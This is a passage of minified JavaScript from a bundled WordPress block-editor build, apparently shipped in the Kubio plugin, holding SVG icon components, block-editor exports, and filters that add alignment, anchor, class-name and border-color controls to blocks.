l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M7 5.5h10a.5.5 0 01.5.5v12a.5.5 0 01-.5.5H7a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM17 4H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V6a2 2 0 00-2-2zm-1 3.75H8v1.5h8v-1.5zM8 11h8v1.5H8V11zm6 3.25H8v1.5h6v-1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M4 19.8h8.9v-1.5H4v1.5zm8.9-15.6H4v1.5h8.9V4.2zm-8.9 7v1.5h16v-1.5H4z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M16.4 4.2H7.6v1.5h8.9V4.2zM4 11.2v1.5h16v-1.5H4zm3.6 8.6h8.9v-1.5H7.6v1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M11.1 19.8H20v-1.5h-8.9v1.5zm0-15.6v1.5H20V4.2h-8.9zM4 12.8h16v-1.5H4v1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M5 4v11h14V4H5zm3 15.8h8v-1.5H8v1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(r.Path,{d:"M13.8 5.2H3v1.5h10.8V5.2zm-3.6 12v1.5H21v-1.5H10.2zm7.2-6H6.6v1.5h10.8v-1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7.8 16.5H5c-.3 0-.5-.2-.5-.5v-6.2h6.8v6.7zm0-8.3H4.5V5c0-.3.2-.5.5-.5h6.2v6.7zm8.3 7.8c0 .3-.2.5-.5.5h-6.2v-6.8h6.8V19zm0-7.8h-6.8V4.5H19c.3 0 .5.2.5.5v6.2z",fillRule:"evenodd",clipRule:"evenodd"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M18.5 5.5h-13c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5h-13c-.3 0-.5-.2-.5-.5v-9c0-.3.2-.5.5-.5h13c.3 0 .5.2.5.5v9zM6.5 12H8v-2h2V8.5H6.5V12zm9.5 2h-2v1.5h3.5V12H16v2z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"}));t.a=l},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";n.r(t);var o={};n.r(o),n.d(o,"getColorClassName",(function(){return b.wc})),n.d(o,"getColorObjectByAttributeValues",(function(){return b.xc})),n.d(o,"getColorObjectByColorValue",(function(){return b.yc})),n.d(o,"createCustomColorsHOC",(function(){return b.vc})),n.d(o,"withColors",(function(){return b.Lc})),n.d(o,"__experimentalGetGradientClass",(function(){return b.Ab})),n.d(o,"getGradientValueBySlug",(function(){return b.Ec})),n.d(o,"__experimentalGetGradientObjectByGradientValue",(function(){return b.Bb})),n.d(o,"getGradientSlugByValue",(function(){return b.Dc})),n.d(o,"__experimentalUseGradient",(function(){return b.ac})),n.d(o,"getFontSize",(function(){return b.Ac})),n.d(o,"getFontSizeClass",(function(){return b.Bc})),n.d(o,"getFontSizeObjectByValue",(function(){return b.Cc})),n.d(o,"getComputedFluidTypographyValue",(function(){return b.zc})),n.d(o,"FontSizePicker",(function(){return b.J})),n.d(o,"withFontSizes",(function(){return b.Mc})),n.d(o,"__unstableGetValuesFromColors",(function(){return b.lc})),n.d(o,"__unstableDuotoneFilter",(function(){return b.hc})),n.d(o,"__unstablePresetDuotoneFilter",(function(){return b.oc})),n.d(o,"__unstableDuotoneStylesheet",(function(){return b.ic})),n.d(o,"__unstableDuotoneUnsetStylesheet",(function(){return b.jc})),n.d(o,"AlignmentControl",(function(){return b.a})),n.d(o,"AlignmentToolbar",(function(){return b.b})),n.d(o,"Autocomplete",(function(){return b.c})),n.d(o,"BlockAlignmentControl",(function(){return b.d})),n.d(o,"BlockAlignmentToolbar",(function(){return b.e})),n.d(o,"__experimentalBlockFullHeightAligmentControl",(function(){return b.ob})),n.d(o,"__experimentalBlockAlignmentMatrixControl",(function(){return b.mb})),n.d(o,"BlockBreadcrumb",(function(){return b.f})),n.d(o,"__experimentalUseBlockOverlayActive",(function(){return b.Yb})),n.d(o,"BlockContextProvider",(function(){return b.h})),n.d(o,"BlockControls",(function(){return b.i})),n.d(o,"BlockFormatControls",(function(){return b.m})),n.d(o,"BlockColorsStyleSelector",(function(){return b.g})),n.d(o,"BlockEdit",(function(){return b.j})),n.d(o,"useBlockEditContext",(function(){return b.Gc})),n.d(o,"BlockIcon",(function(){return b.n})),n.d(o,"BlockNavigationDropdown",(function(){return b.r})),n.d(o,"BlockStyles",(function(){return b.w})),n.d(o,"__experimentalBlockVariationPicker",(function(){return b.rb})),n.d(o,"__experimentalBlockPatternSetup",(function(){return b.pb})),n.d(o,"__experimentalBlockVariationTransforms",(function(){return b.sb})),n.d(o,"BlockVerticalAlignmentToolbar",(function(){return b.B})),n.d(o,"BlockVerticalAlignmentControl",(function(){return b.A})),n.d(o,"__experimentalBorderRadiusControl",(function(){return b.tb})),n.d(o,"ButtonBlockerAppender",(function(){return b.D})),n.d(o,"ButtonBlockAppender",(function(){return b.C})),n.d(o,"ColorPalette",(function(){return b.E})),n.d(o,"ColorPaletteControl",(function(){return b.F})),n.d(o,"ContrastChecker",(function(){return b.G})),n.d(o,"__experimentalDateFormatPicker",(function(){return b.wb})),n.d(o,"__experimentalDuotoneControl",(function(){return b.xb})),n.d(o,"__experimentalFontAppearanceControl",(function(){return b.yb})),n.d(o,"__experimentalFontFamilyControl",(function(){return b.zb})),n.d(o,"__experimentalLetterSpacingControl",(function(){return b.Ib})),n.d(o,"__experimentalTextDecorationControl",(function(){return b.Vb})),n.d(o,"__experimentalTextTransformControl",(function(){return b.Wb})),n.d(o,"__experimentalColorGradientControl",(function(){return b.ub})),n.d(o,"__experimentalColorGradientSettingsDropdown",(function(){return b.vb})),n.d(o,"__experimentalPanelColorGradientSettings",(function(){return b.Pb})),n.d(o,"__experimentalUseMultipleOriginColorsAndGradients",(function(){return b.cc})),n.d(o,"HeightControl",(function(){return b.K})),n.d(o,"__experimentalImageEditor",(function(){return b.Db})),n.d(o,"__experimentalImageEditingProvider",(function(){return b.Cb})),n.d(o,"__experimentalImageSizeControl",(function(){return b.Eb})),n.d(o,"InnerBlocks",(function(){return b.L})),n.d(o,"useInnerBlocksProps",(function(){return b.Ic})),n.d(o,"InspectorControls",(function(){return b.O})),n.d(o,"InspectorAdvancedControls",(function(){return b.N})),n.d(o,"JustifyToolbar",(function(){return b.Q})),n.d(o,"JustifyContentControl",(function(){return b.P})),n.d(o,"__experimentalLinkControl",(function(){return b.Kb})),n.d(o,"__experimentalLinkControlSearchInput",(function(){return b.Lb})),n.d(o,"__experimentalLinkControlSearchResults",(function(){return b.Nb})),n.d(o,"__experimentalLinkControlSearchItem",(function(){return b.Mb})),n.d(o,"LineHeightControl",(function(){return b.R})),n.d(o,"__experimentalListView",(function(){return b.Ob})),n.d(o,"MediaReplaceFlow",(function(){return b.T})),n.d(o,"MediaPlaceholder",(function(){return b.S})),n.d(o,"MediaUpload",(function(){return b.U})),n.d(o,"MediaUploadCheck",(function(){return b.V})),n.d(o,"PanelColorSettings",(function(){return b.Z})),n.d(o,"PlainText",(function(){return b.ab})),n.d(o,"__experimentalResponsiveBlockControl",(function(){return b.Tb})),n.d(o,"RichText",(function(){return b.bb})),n.d(o,"RichTextShortcut",(function(){return b.cb})),n.d(o,"RichTextToolbarButton",(function(){return b.db})),n.d(o,"__unstableRichTextInputEvent",(function(){return b.pc})),n.d(o,"ToolSelector",(function(){return b.fb})),n.d(o,"__experimentalUnitControl",(function(){return b.Xb})),n.d(o,"URLInput",(function(){return b.hb})),n.d(o,"URLInputButton",(function(){return b.ib})),n.d(o,"URLPopover",(function(){return b.jb})),n.d(o,"__experimentalImageURLInputUI",(function(){return b.Fb})),n.d(o,"withColorContext",(function(){return b.Kc})),n.d(o,"__experimentalSpacingSizesControl",(function(){return b.Ub})),n.d(o,"__unstableBlockSettingsMenuFirstItem",(function(){return b.fc})),n.d(o,"__unstableBlockToolbarLastItem",(function(){return b.gc})),n.d(o,"__unstableBlockNameContext",(function(){return b.ec})),n.d(o,"__unstableInserterMenuExtension",(function(){return b.nc})),n.d(o,"__experimentalPreviewOptions",(function(){return b.Qb})),n.d(o,"__experimentalUseResizeCanvas",(function(){return b.dc})),n.d(o,"BlockInspector",(function(){return b.o})),n.d(o,"BlockList",(function(){return b.p})),n.d(o,"useBlockProps",(function(){return b.Hc})),n.d(o,"__experimentalLayoutStyle",(function(){return b.Hb})),n.d(o,"BlockMover",(function(){return b.q})),n.d(o,"BlockPreview",(function(){return b.s})),n.d(o,"__experimentalUseBlockPreview",(function(){return b.Zb})),n.d(o,"BlockSelectionClearer",(function(){return b.t})),n.d(o,"__unstableUseBlockSelectionClearer",(function(){return b.qc})),n.d(o,"BlockSettingsMenu",(function(){return b.u})),n.d(o,"BlockSettingsMenuControls",(function(){return b.v})),n.d(o,"BlockTitle",(function(){return b.x})),n.d(o,"BlockToolbar",(function(){return b.y})),n.d(o,"BlockTools",(function(){return b.z})),n.d(o,"CopyHandler",(function(){return b.H})),n.d(o,"__unstableUseClipboardHandler",(function(){return b.rc})),n.d(o,"DefaultBlockAppender",(function(){return b.I})),n.d(o,"__unstableEditorStyles",(function(){return b.kc})),n.d(o,"Inserter",(function(){return b.M})),n.d(o,"__experimentalLibrary",(function(){return b.Jb})),n.d(o,"BlockEditorKeyboardShortcuts",(function(){return b.k})),n.d(o,"MultiSelectScrollIntoView",(function(){return b.W})),n.d(o,"NavigableToolbar",(function(){return b.X})),n.d(o,"ObserveTyping",(function(){return b.Y})),n.d(o,"__unstableUseTypingObserver",(function(){return b.uc})),n.d(o,"__unstableUseMouseMoveTypingReset",(function(){return b.sc})),n.d(o,"SkipToSelectedBlock",(function(){return b.eb})),n.d(o,"Typewriter",(function(){return b.gb})),n.d(o,"__unstableUseTypewriter",(function(){return b.tc})),n.d(o,"Warning",(function(){return b.kb})),n.d(o,"WritingFlow",(function(){return b.lb})),n.d(o,"useBlockDisplayInformation",(function(){return b.Fc})),n.d(o,"__unstableIframe",(function(){return b.mc})),n.d(o,"__experimentalRecursionProvider",(function(){return b.Sb})),n.d(o,"__experimentalUseHasRecursion",(function(){return b.bc})),n.d(o,"__experimentalBlockPatternsList",(function(){return b.qb})),n.d(o,"__experimentalPublishDateTimePicker",(function(){return b.Rb})),n.d(o,"__experimentalInspectorPopoverHeader",(function(){return b.Gb})),n.d(o,"__experimentalBlockContentOverlay",(function(){return b.nb})),n.d(o,"BlockEditorProvider",(function(){return b.l})),n.d(o,"useSetting",(function(){return b.Jc})),n.d(o,"__experimentalGetElementClassName",(function(){return Zt})),n.d(o,"__experimentalGetBorderClassesAndStyles",(function(){return Vt})),n.d(o,"__experimentalGetColorClassesAndStyles",(function(){return Gt})),n.d(o,"__experimentalGetGapCSSValue",(function(){return Yt.b})),n.d(o,"__experimentalGetSpacingClassesAndStyles",(function(){return Wt})),n.d(o,"getTypographyClassesAndStyles",(function(){return qt})),n.d(o,"__experimentalUseBorderProps",(function(){return Ht})),n.d(o,"useCachedTruthy",(function(){return Qt})),n.d(o,"__experimentalUseColorProps",(function(){return Ut})),n.d(o,"__experimentalUseCustomSides",(function(){return ct.e})),n.d(o,"__experimentaluseLayoutClasses",(function(){return xt})),n.d(o,"__experimentaluseLayoutStyles",(function(){return Tt})),n.d(o,"experiments",(function(){return Jt.a})),n.d(o,"privateApis",(function(){return Jt.b})),n.d(o,"store",(function(){return m.a})),n.d(o,"storeConfig",(function(){return m.b})),n.d(o,"SETTINGS_DEFAULTS",(function(){return en.b})),n.d(o,"transformStyles",(function(){return tn.a})),n.d(o,"__experimentalGetMatchingVariation",(function(){return on})),n.d(o,"getPxFromCssUnit",(function(){return sn}));var r=n(12),l=n(23);Object(l.addFilter)("blocks.registerBlockType","core/compat/migrateLightBlockWrapper",(function(e){const{apiVersion:t=1}=e;return t<2&&Object(r.hasBlockSupport)(e,"lightBlockWrapper",!1)&&(e.apiVersion=2),e}));var c=n(8),i=n(0),a=n(13),s=n.n(a),u=n(11),d=n(7),b=n(60),p=n(201),m=n(14);const f=["left","center","right","wide","full"],g=["wide","full"];function h(e){let t,n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],o=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];return t=Array.isArray(e)?f.filter((t=>e.includes(t))):!0===e?[...f]:[],!o||!0===e&&!n?t.filter((e=>!g.includes(e))):t}const v=Object(u.createHigherOrderComponent)((e=>t=>{const n=Object(i.createElement)(e,t),{name:o}=t,l=h(Object(r.getBlockSupport)(o,"align"),Object(r.hasBlockSupport)(o,"alignWide",!0)),c=Object(p.a)(l).map((e=>{let{name:t}=e;return t})),a=Object(d.useSelect)((e=>e(m.a).__unstableGetContentLockingParent(t.clientId)),[t.clientId]);return!c.length||a?n:Object(i.createElement)(i.Fragment,null,Object(i.createElement)(b.i,{group:"block",__experimentalShareWithChildBlocks:!0},Object(i.createElement)(b.d,{value:t.attributes.align,onChange:e=>{if(!e){var n,o;const l=Object(r.getBlockType)(t.name);(null==l||null===(n=l.attributes)||void 0===n||null===(o=n.align)||void 0===o?void 0:o.default)&&(e="")}t.setAttributes({align:e})},controls:c})),n)}),"withToolbarControls"),O=Object(u.createHigherOrderComponent)((e=>t=>{const{name:n,attributes:o}=t,{align:l}=o,a=h(Object(r.getBlockSupport)(n,"align"),Object(r.hasBlockSupport)(n,"alignWide",!0)),s=Object(p.a)(a);if(void 0===l)return Object(i.createElement)(e,t);let u=t.wrapperProps;return s.some((e=>e.name===l))&&(u={...u,"data-align":l}),Object(i.createElement)(e,Object(c.a)({},t,{wrapperProps:u}))}));Object(l.addFilter)("blocks.registerBlockType","core/align/addAttribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.align)&&void 0!==t?t:{})||Object(r.hasBlockSupport)(e,"align")&&(e.attributes={...e.attributes,align:{type:"string",enum:[...f,""]}}),e})),Object(l.addFilter)("editor.BlockListBlock","core/editor/align/with-data-align",O),Object(l.addFilter)("editor.BlockEdit","core/editor/align/with-toolbar-controls",v),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/align/addAssignedAlign",(function(e,t,n){const{align:o}=n;return h(Object(r.getBlockSupport)(t,"align"),Object(r.hasBlockSupport)(t,"alignWide",!0)).includes(o)&&(e.className=s()(`align${o}`,e.className)),e})),Object(l.addFilter)("blocks.registerBlockType","core/lock/addAttribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.lock)&&void 0!==t?t:{})||(e.attributes={...e.attributes,lock:{type:"object"}}),e}));var k=n(3),j=n(1);const _=/[\s#]/g,y={type:"string",source:"attribute",attribute:"id",selector:"*"},E=Object(u.createHigherOrderComponent)((e=>t=>{if(Object(r.hasBlockSupport)(t.name,"anchor")&&t.isSelected){const n="web"===i.Platform.OS,o=Object(i.createElement)(k.TextControl,{__nextHasNoMarginBottom:!0,className:"html-anchor-control",label:Object(j.__)("HTML anchor","kubio"),help:Object(i.createElement)(i.Fragment,null,Object(j.__)("Enter a word or two — without spaces — to make a unique web address just for this block, called an “anchor.” Then, you’ll be able to link directly to this section of your page.","kubio"),n&&Object(i.createElement)(k.ExternalLink,{href:Object(j.__)("https://wordpress.org/support/article/page-jumps/","kubio")},Object(j.__)("Learn more about anchors","kubio"))),value:t.attributes.anchor||"",placeholder:n?null:Object(j.__)("Add an anchor","kubio"),onChange:e=>{e=e.replace(_,"-"),t.setAttributes({anchor:e})},autoCapitalize:"none",autoComplete:"off"});return Object(i.createElement)(i.Fragment,null,Object(i.createElement)(e,t),n&&Object(i.createElement)(b.O,{group:"advanced"},o),!n&&"core/heading"===t.name&&Object(i.createElement)(b.O,null,Object(i.createElement)(k.PanelBody,{title:Object(j.__)("Heading settings","kubio")},o)))}return Object(i.createElement)(e,t)}),"withInspectorControl");Object(l.addFilter)("blocks.registerBlockType","core/anchor/attribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.anchor)&&void 0!==t?t:{})||Object(r.hasBlockSupport)(e,"anchor")&&(e.attributes={...e.attributes,anchor:y}),e})),Object(l.addFilter)("editor.BlockEdit","core/editor/anchor/with-inspector-control",E),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/anchor/save-props",(function(e,t,n){return Object(r.hasBlockSupport)(t,"anchor")&&(e.id=""===n.anchor?null:n.anchor),e}));const S={type:"string",source:"attribute",attribute:"aria-label",selector:"*"};Object(l.addFilter)("blocks.registerBlockType","core/ariaLabel/attribute",(function(e){var t,n;return null!=e&&null!==(t=e.attributes)&&void 0!==t&&null!==(n=t.ariaLabel)&&void 0!==n&&n.type||Object(r.hasBlockSupport)(e,"ariaLabel")&&(e.attributes={...e.attributes,ariaLabel:S}),e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/ariaLabel/save-props",(function(e,t,n){return Object(r.hasBlockSupport)(t,"ariaLabel")&&(e["aria-label"]=""===n.ariaLabel?null:n.ariaLabel),e}));const C=Object(u.createHigherOrderComponent)((e=>t=>Object(r.hasBlockSupport)(t.name,"customClassName",!0)&&t.isSelected?Object(i.createElement)(i.Fragment,null,Object(i.createElement)(e,t),Object(i.createElement)(b.O,{group:"advanced"},Object(i.createElement)(k.TextControl,{__nextHasNoMarginBottom:!0,autoComplete:"off",label:Object(j.__)("Additional CSS class(es)","kubio"),value:t.attributes.className||"",onChange:e=>{t.setAttributes({className:""!==e?e:void 0})},help:Object(j.__)("Separate multiple classes with spaces.","kubio")}))):Object(i.createElement)(e,t)),"withInspectorControl");Object(l.addFilter)("blocks.registerBlockType","core/custom-class-name/attribute",(function(e){return Object(r.hasBlockSupport)(e,"customClassName",!0)&&(e.attributes={...e.attributes,className:{type:"string"}}),e})),Object(l.addFilter)("editor.BlockEdit","core/editor/custom-class-name/with-inspector-control",C),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/custom-class-name/save-props",(function(e,t,n){return Object(r.hasBlockSupport)(t,"customClassName",!0)&&n.className&&(e.className=s()(e.className,n.className)),e})),Object(l.addFilter)("blocks.switchToBlockType.transformedBlock","core/color/addTransforms",(function(e,t,n,o){if(!Object(r.hasBlockSupport)(e.name,"customClassName",!0))return e;if(1===o.length&&e.innerBlocks.length===t.length)return e;if(1===o.length&&t.length>1||o.length>1&&1===t.length)return e;if(t[n]){var l;const o=null===(l=t[n])||void 0===l?void 0:l.attributes.className;if(o)return{...e,attributes:{...e.attributes,className:o}}}return e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/generated-class-name/save-props",(function(e,t){return Object(r.hasBlockSupport)(t,"className",!0)&&("string"==typeof e.className?e.className=[...new Set([Object(r.getBlockDefaultClassName)(t.name),...e.className.split(" ")])].join(" ").trim():e.className=Object(r.getBlockDefaultClassName)(t.name)),e}));var w=n(151),B=n(70),I=n(238),x=n(41);function T(e){var t;const{attributes:{style:n},setAttributes:o}=e;return Object(i.createElement)(I.a,{values:null==n||null===(t=n.border)||void 0===t?void 0:t.radius,onChange:e=>{const t=Object(x.a)({...n,border:{...null==n?void 0:n.border,radius:e}});o({style:t})}})}var N=n(74),M=n(50),P=n(108),L=n(30);const R="__experimentalBorder",A=["top","right","bottom","left"],D=e=>{const{borderColor:t,style:n}=e.attributes;return Object(k.__experimentalIsDefinedBorder)(null==n?void 0:n.border)||!!t},F=e=>{var t;let{attributes:n={},setAttributes:o}=e;const{style:r}=n;o({borderColor:void 0,style:{...r,border:Object(x.a)({radius:null==r||null===(t=r.border)||void 0===t?void 0:t.radius})}})},z=e=>{var t,n;return{...e,borderColor:void 0,style:{...e.style,border:{radius:null===(t=e.style)||void 0===t||null===(n=t.border)||void 0===n?void 0:n.radius}}}},V=(e,t,n)=>{let o;return e.some((e=>e.colors.some((e=>e[t]===n&&(o=e,!0))))),o},H=e=>{let{colors:t,namedColor:n,customColor:o}=e;if(n){const e=V(t,"slug",n);if(e)return e}if(!o)return{color:void 0};return V(t,"color",o)||{color:o}},G=(e,t)=>{const{borderColor:n,style:o}=e,{border:r}=o||{};if(n){const{color:e}=H({colors:t,namedColor:n});return e?{...r,color:e}:r}if(!r)return r;const l={...r};return A.forEach((e=>{var n;const o=$(null===(n=l[e])||void 0===n?void 0:n.color);if(o){const{color:n}=H({colors:t,namedColor:o});l[e]={...l[e],color:n}}})),l};function $(e){const t=/var:preset\|color\|(.+)/.exec(e);return t&&t[1]?t[1]:null}function U(e){const{attributes:t,clientId:n,setAttributes:o}=e,{style:l}=t,{colors:c}=Object(P.a)(),a=W(e.name),s=Object(L.a)("border.color")&&W(e.name,"color"),u=Object(L.a)("border.radius")&&W(e.name,"radius"),d=Object(L.a)("border.style")&&W(e.name,"style"),b=Object(L.a)("border.width")&&W(e.name,"width");if([!s,!u,!d,!b].every(Boolean)||!a)return null;const p=Object(r.getBlockSupport)(e.name,[R,"__experimentalDefaultControls"]),m=(null==p?void 0:p.color)||(null==p?void 0:p.width),f=G(t,c);return Object(i.createElement)(M.b,{group:"border"},(b||s)&&Object(i.createElement)(k.__experimentalToolsPanelItem,{hasValue:()=>D(e),label:Object(j.__)("Border","kubio"),onDeselect:()=>F(e),isShownByDefault:m,resetAllFilter:z,panelId:n},Object(i.createElement)(k.__experimentalBorderBoxControl,{colors:c,enableAlpha:!0,enableStyle:d,onChange:e=>{var t;let n,r={...e};if(Object(k.__experimentalHasSplitBorders)(e))r={top:{...e.top},right:{...e.right},bottom:{...e.bottom},left:{...e.left}},A.forEach((t=>{var n;if(null!==(n=e[t])&&void 0!==n&&n.color){var o;const n=H({colors:c,customColor:null===(o=e[t])||void 0===o?void 0:o.color});n.slug&&(r[t].color=`var:preset|color|${n.slug}`)}}));else if(null!=e&&e.color){const t=null==e?void 0:e.color,o=H({colors:c,customColor:t});o.slug&&(n=o.slug,r.color=void 0)}const i=Object(x.a)({...l,border:{radius:null==l||null===(t=l.border)||void 0===t?void 0:t.radius,...r}});o({style:i,borderColor:n})},popoverOffset:40,popoverPlacement:"left-start",size:"__unstable-large",value:f,__experimentalIsRenderedInSidebar:!0})),u&&Object(i.createElement)(k.__experimentalToolsPanelItem,{hasValue:()=>function(e){var t,n;const o=null===(t=e.attributes.style)||void 0===t||null===(n=t.border)||void 0===n?void 0:n.radius;return"object"==typeof o?Object.entries(o).some(Boolean):!!o}(e),label:Object(j.__)("Radius","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:K(o,"radius")})}(e),isShownByDefault:null==p?void 0:p.radius,resetAllFilter:e=>{var t;return{...e,style:{...e.style,border:{...null===(t=e.style)||void 0===t?void 0:t.border,radius:void 0}}}},panelId:n},Object(i.createElement)(T,e)))}function W(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"any";if("web"!==i.Platform.OS)return!1;const n=Object(r.getBlockSupport)(e,R);return!!(!0===n||("any"===t?null!=n&&n.color||null!=n&&n.radius||null!=n&&n.width||null!=n&&n.style:null!=n&&n[t]))}function K(e,t){return Object(x.a)({...e,border:{...null==e?void 0:e.border,[t]:void 0}})}function q(e,t,n){if(!W(t,"color")||Object(x.c)(t,R,"color"))return e;const o=Y(n),r=s()(e.className,o);return e.className=r||void 0,e}function Y(e){var t;const{borderColor:n,style:o}=e,r=Object(N.b)("border-color",n);return s()({"has-border-color":n||(null==o||null===(t=o.border)||void 0===t?void 0:t.color),[r]:!!r})}const Q=Object(u.createHigherOrderComponent)((e=>t=>{var n,o,r,l,a,s,u,d,b;const{name:p,attributes:m}=t,{borderColor:f,style:g}=m,{colors:h}=Object(P.a)();if(!W(p,"color")||Object(x.c)(p,R,"color"))return Object(i.createElement)(e,t);const{color:v}=H({colors:h,namedColor:f}),{color:O}=H({colors:h,namedColor:$(null==g||null===(n=g.border)||void 0===n||null===(o=n.top)||void 0===o?void 0:o.color)}),{color:k}=H({colors:h,namedColor:$(null==g||null===(r=g.border)||void 0===r||null===(l=r.right)||void 0===l?void 0:l.color)}),{color:j}=H({colors:h,namedColor:$(null==g||null===(a=g.border)||void 0===a||null===(s=a.bottom)||void 0===s?void 0:s.color)}),{color:_}=H({colors:h,namedColor:$(null==g||null===(u=g.border)||void 0===u||null===(d=u.left)||void 0===d?void 0:d.color)}),y={borderTopColor:O||v,borderRightColor:k||v,borderBottomColor:j||v,borderLeftColor:_||v};let E=t.wrapperProps;return E={...t.wrapperProps,style:{...null===(b=t.wrapperProps)||void 0===b?void 0:b.style,...y}},Object(i.createElement)(e,Object(c.a)({},t,{wrapperProps:E}))}));Object(l.addFilter)("blocks.registerBlockType","core/border/addAttributes",(function(e){return W(e,"color")?e.attributes.borderColor?e:{...e,attributes:{...e.attributes,borderColor:{type:"string"}}}:e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/border/addSaveProps",q),Object(l.addFilter)("blocks.registerBlockType","core/border/addEditProps",(function(e){if(!W(e,"color")||Object(x.c)(e,R,"color"))return e;const t=e.getEditWrapperProps;return e.getEditWrapperProps=n=>{let o={};return t&&(o=t(n)),q(o,e,n)},e})),Object(l.addFilter)("editor.BlockListBlock","core/border/with-border-color-palette-styles",Q);var X=n(124),Z=n(167),J=n(232),ee=n(71);function te(e){return e.ownerDocument.defaultView.getComputedStyle(e)}function ne(e){let{enableAlpha:t=!1,settings:n,clientId:o,enableContrastChecking:r=!0}=e;const[l,a]=Object(i.useState)(),[s,u]=Object(i.useState)(),[d,b]=Object(i.useState)(),p=Object(ee.b)(o),m=n.filter((e=>null==e?void 0:e.colorValue));Object(i.useEffect)((()=>{var e;if(!r)return;if(!m.length)return l&&a(),s&&u(),void(d&&u());if(!p.current)return;u(te(p.current).color);const t=null===(e=p.current)||void 0===e?void 0:e.querySelector("a");t&&t.innerText&&b(te(t).color);let n=p.current,o=te(n).backgroundColor;for(;"rgba(0, 0, 0, 0)"===o&&n.parentNode&&n.parentNode.nodeType===n.parentNode.ELEMENT_NODE;)n=n.parentNode,o=te(n).backgroundColor;a(o)}));const f=Object(P.a)();return Object(i.createElement)(M.b,{group:"color"},Object(i.createElement)(Z.a,Object(c.a)({enableAlpha:t,panelId:o,settings:n,__experimentalIsItemGroup:!1,__experimentalIsRenderedInSidebar:!0},f)),r&&Object(i.createElement)(J.a,{backgroundColor:l,textColor:s,enableAlphaChecker:t,linkColor:d}))}const oe="color",re=e=>{const t=Object(r.getBlockSupport)(e,oe);return t&&(!0===t.link||!0===t.gradient||!1!==t.background||!1!==t.text)},le=e=>{if("web"!==i.Platform.OS)return!1;const t=Object(r.getBlockSupport)(e,oe);return null!==t&&"object"==typeof t&&!!t.link},ce=e=>{const 